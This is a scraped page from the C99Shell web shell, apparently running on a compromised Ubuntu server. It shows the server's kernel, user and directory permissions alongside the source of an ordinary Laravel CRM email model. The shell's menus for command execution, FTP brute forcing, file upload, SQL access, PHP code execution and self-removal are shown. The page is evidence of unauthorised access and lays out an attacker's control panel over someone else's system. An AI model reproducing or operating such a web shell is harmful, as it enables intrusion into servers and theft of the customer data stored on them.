!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/packages/Webkul/Email/src/Models/   drwxrwxrwx
Free 13.19 GB of 57.97 GB (22.75%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Email.php (2.47 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Webkul\Email\Models;

use 
Illuminate\Database\Eloquent\Model;
use 
Webkul\Contact\Models\PersonProxy;
use 
Webkul\Email\Contracts\Email as EmailContract;
use 
Webkul\Lead\Models\LeadProxy;
use 
Webkul\Tag\Models\TagProxy;

class 
Email extends Model implements EmailContract
{
    
/**
     * The table associated with the model.
     *
     * @var string
     */
    
protected $table 'emails';

    
/**
     * The attributes that should be cast.
     *
     * @var array
     */
    
protected $casts = [
        
'folders'       => 'array',
        
'sender'        => 'array',
        
'from'          => 'array',
        
'reply_to'      => 'array',
        
'cc'            => 'array',
        
'bcc'           => 'array',
        
'reference_ids' => 'array',
    ];

    
/**
     * The attributes that are appended.
     *
     * @var array
     */
    
protected $appends = [
        
'time_ago',
    ];

    
/**
     * The attributes that are mass assignable.
     *
     * @var array
     */
    
protected $fillable = [
        
'subject',
        
'source',
        
'name',
        
'user_type',
        
'is_read',
        
'folders',
        
'from',
        
'sender',
        
'reply_to',
        
'cc',
        
'bcc',
        
'unique_id',
        
'message_id',
        
'reference_ids',
        
'reply',
        
'person_id',
        
'parent_id',
        
'lead_id',
        
'created_at',
        
'updated_at',
    ];

    
/**
     * Get the parent email.
     */
    
public function parent()
    {
        return 
$this->belongsTo(EmailProxy::modelClass(), 'parent_id');
    }

    
/**
     * Get the lead.
     */
    
public function lead()
    {
        return 
$this->belongsTo(LeadProxy::modelClass());
    }

    
/**
     * Get the emails.
     */
    
public function emails()
    {
        return 
$this->hasMany(EmailProxy::modelClass(), 'parent_id');
    }

    
/**
     * Get the person that owns the thread.
     */
    
public function person()
    {
        return 
$this->belongsTo(PersonProxy::modelClass());
    }

    
/**
     * The tags that belong to the lead.
     */
    
public function tags()
    {
        return 
$this->belongsToMany(TagProxy::modelClass(), 'email_tags');
    }

    
/**
     * Get the attachments.
     */
    
public function attachments()
    {
        return 
$this->hasMany(AttachmentProxy::modelClass(), 'email_id');
    }

    
/**
     * Get the time ago.
     */
    
public function getTimeAgoAttribute(): string
    
{
        return 
$this->created_at->diffForHumans();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]--